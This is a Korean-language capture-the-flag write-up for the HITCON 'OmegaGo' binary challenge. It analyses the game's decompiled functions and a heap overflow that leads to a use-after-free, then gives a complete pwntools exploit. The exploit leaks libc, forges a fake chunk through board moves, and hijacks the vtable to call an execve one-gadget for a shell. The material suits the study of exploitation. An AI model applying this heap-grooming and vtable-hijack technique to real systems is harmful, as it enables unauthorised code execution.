Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

Code Block
titleFile information
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ file omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 
omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=6101f150902c6814bd0576f35c60473105a5466e, stripped
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ checksec.sh --file omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ 

Binary analysis

  • 해당 문제를 실행하면 다음과 같은 메뉴를 출력합니다.

Code Block
titleomegaGo
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 180.00


  • 그리고 다음과 같은 기능을 제공합니다.
    • 행,열을 번호를 입력하여 원하는 영역에 마크를 표시할 수 있습니다.
      • Ex) A19
    • "surrender"를 이용하여 게임을 포기하고 다시 시작할 수 있습니다.
    • "regret"을 이용하여 플레이를 되돌릴 수 있습니다.

...

Code Block
titlePlay game
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 180.00

A19
   ABCDEFGHIJKLMNOPQRS
19 X..................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ..................O
Time remain: O: 180.00, X: 173.38

regret
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 180.00
surrender
This AI is too strong, ah?
Play history? (y/n)
y
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
piece O play at J10
Time remain: O: 180.00, X: 180.00

Play again? (y/n)
y
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 180.00

Main()

  • 해당 프로그램은 main()함수에서 주 작업을 진행하지 않습니다.함수는 while() 함수를 이용하여 MainFunction()함수를 계속 호출합니다.
Code Block
languagecpp
titlemain()
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 result; // rax@3
  __int64 v4; // rbx@3
  __int64 v5; // [rsp+8h] [rbp-18h]@1

  v5 = *MK_FP(__FS__, 40LL);
  alarm(0xB4u);
  setvbuf(stdout, 0LL, 2, 0LL);
  while (MainFunction());
  result = 0LL;
  v4 = *MK_FP(__FS__, 40LL) ^ v5;
  return result;
}

MainFunction(0x401738)

  • 해당 함수는 다음과 같은 기능을 합니다.
    • DefaultSet() 함수를 통해 게임 진행시 필요한 변수의 초기화를 선언합니다.

    • "operator new(8uLL)" 코드를 이용하여 vtable정보를 저장할 Heap 영역을 할당합니다.

      • 할당된 Heap의 크기는 0x20byte 입니다.
    • 할당된 Heap 영역의 주소값은 Computer, Human Class 변수에 저장합니다.
    • while()을 통해 게임을 플레이하기 위한 기능을 실행합니다.

    • gettimeofday() 함수를 이용하여 플레이어의 게임 플레이 시간을 계산합니다.

    • rowNumber, colNumber 의 값이 -1과 같다면 게임을 종료합니다.

    • rowNumber, colNumber 의 값이 -2일 경우에는 게임 턴을 한차례 돌리는 regret()함수를 호출합니다.
    • 그외의 rowNumber, colNumber 값이 입력 되면 플레이어의 플레이시간을 저장합니다.
      • 총 플레이시간이 0.0보다 작으면 게임을 종료합니다.
      • 총 플레이시간이 0.0보다 크면 SetMarkForBoard()함수를 이용하여 게임 보드 rowNumber,colNumber 위치에 표시합니다.

...

  • Computer, Human Class에 호출하는 Player 함수의 주소는 다음과 같습니다.

Class

Call vtable function

Rename

Computer

40290A()


Hummand

402C12()

UserInput

UserInput

  • 해당 함수는 다음과 같은 기능을 합니다.
    • PrintGameBoard_0() 함수를 이용하여 Go board를 출력합니다.
    • scanf() 함수를 이용하여 최대 10개의 문자를 입력 받습니다.
      • 입력받은 문자열은 다음과 같이 데이터 처리 합니다.
        • 입력한 문자열이 "surrender"는 *colNumber, *rowNumber 변수에 -1을 저장합니다.
        • 입력한 문자열이 "regret"는 *colNumber, *rowNumber 변수에 -2을 저장합니다.
        • 앞에 두 문자열과 같지 않을 경우 다음과 같이 데이터를 처리합니다.
          • sscanf() 함수를 이용하여 문자와 숫자 값을 분리 합니다.
          • 그리고 해당 값은 CheckBoardArea()함수를 이용하여 Go board 범위 안에 포함되는지 확인합니다.

...

  • Computer Class에 저장되는 값(vtable addr)을 변경하기 위해서는 UAF 취약성을 이용해야 합니다.
    • Player가 입력한 좌표값은 gameinfo 전역변수의 Board영역에 비트 값(01,10)으로 저장되고 있습니다.
    • Game board 정보는 Heap영역에 저장되고 있습니다.
    • 그리고 Overflow를 통해 할당해제 할 메모리 주소 값을 변경할 수 있습니다.
  • vtable 정보를 저장하기 위해 생성되는 Heap의 크기는 0x20byte 입니다.
    • 즉, UAF취약성을 생성하기 위해서 0x20 byte의 fake chunk가 필요합니다.
  • 다음과 같은 구조로 Fake chunk를 생성할 수 있습니다.

0x00x8
0x00

0000000000000000

0000000000000000
0x1000000000000000000000000000000020
0x2000000000000000000000010000000000
0x3000000000000000000000000000000020
0x4000000000000000000000000000000000
0x5000000000000000000000000000000000
0x600000000900000009000000000000004F
0x7040665799D0203E644066800000000000
0x8000000000000000000000000000000031
  • 다음과 같은 방법으로 gameInfo에 overwrite된 주소값을 0x00의 위치로 변경할 수 있습니다.
    • "surrender" 명령어를 3번 실행합니다.
      • Overflow를 통해 gameInfo.board[0]영역에 저장되는 값이 0x*****410으로 끝나는 값이 되도록하기 위해서입니다.
    • Fake chunk 좌표값(D14, R8)을 입력합니다.

    • gameInfo.board[0]에 저장된 값 0x*****410을 x*****550 으로 변경합니다.
      • 이는 앞에서 설명한 "Fake chunk 구조" 에서 0x00 위치를 가리키도록 하는 것입니다.
      • 좌표값 'P1', '01' 
    • "surrender" 명령어를 실행합니다.
  • 디버깅을 통해 확인해 보겠습니다.
    • D14, R8을 입력해 gameInfo.board[3], gameInfo.board[7]영역에 Fake chunk(0x20)을 저장합니다.
    • gameInfo.board[0]영역에 주소값이 overwrite될 때 까지 게임을 Play 합니다.
    • gameInfo.board[0]영역에 0x0707410 저장됬으며, P1, O1을 입력해 0x0707410 을 0x0707550으로 변경합니다.
    • 그리고 "surrender" 명령어를 실행 후, Computer class의 vtable를 저장할 heap영역으로 0x0707550 영역이 할당됩니다.
    • Computer class 영역에 원하는 주소 영역을 저장하였습니다.
  • 이로 인해 0x0707550을 공격자가 원하는 값으로 덮어쓸수 있게 되었습니다.
    • History[] 배열에 저장되는 Play 정보를 저장하는 Heap 영역을 메모리 0x0707550 보다 낮은 주소에서 부터 Heap 공간을 할당합니다.

...

Code Block
languagepy
titleExploit.py
from pwn import *
 
#context.log_level = 'debug'
 
col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']
 
p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')
 
def Play(location):
    p.recvuntil('\n\n')
    p.sendline(location)
 
 
def readBoard():
    global board
    board = []
    p.recvline()
    for line in range(0,19):
    	p.recv(3)
        board.append(p.recvuntil('\n')[0:19])
 
def surrender():
    p.recvuntil('\n\n')
    p.sendline('surrender')
    p.recvuntil('Play history? (y/n)')
    p.sendline('n')
    p.recvuntil('Play again? (y/n)')
    p.sendline('y')
 
def Fill(colStart, colEnd, row):
    for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
    	locate = str(col_list[colNum])
        locate += str(row)
        Play(locate)
 
def decode(offset):
    bit_offset = offset * 8
    data = ''.join(board)
    result = 0
    for i in xrange(32):
        states = '.OX\0'
        val = states.index(data[bit_offset + i])
        result |= val << (i * 2)
    return result
 
def LeakAddress():
    readBoard()
    return decode(0)
 
def LeakLibcAddress():
    readBoard()
    return decode(32)
  
#Memory reconstruction   
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)
 
#Leak LibcAddress
p.recvuntil('\n\n')
p.sendline('D19')
p.recvuntil('\n\n')
p.sendline('regret')

libcAddress = LeakLibcAddress()
libcBaseAddress = libcAddress - 0x3be7b8
execve_bash = libcBaseAddress + 0xe66bd
 
log.info('Libc Address : ' + hex(libcAddress))
log.info('Libc Base Address : ' + hex(libcBaseAddress))
log.info('execve bash Address : ' + hex(execve_bash))

#Memory reconstruction
surrender()
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
 
#Fake Chunk
Play('D14')
Play('R8')
 
#0xXXXX410 -> 0xxxxx550
Fill('A','I',10)
Play('P1')
Play('O1')

surrender()
 
Fill('B','S',6)
for line in range(15,20):
    Fill('A','S',line)
Play('A6')
 
#vtable Overflow
Play('B7')
Play('S8')
Play('R8')
Play('C12')
Play('F12')
Play('M8')
 
for line in range(16,19):
    Fill('A','S',line)
 
Fill('A','E',15)
sleep(20) 
Play('F15|'+p64(execve_bash))
 
p.interactive()

Flag

Flag


Related Site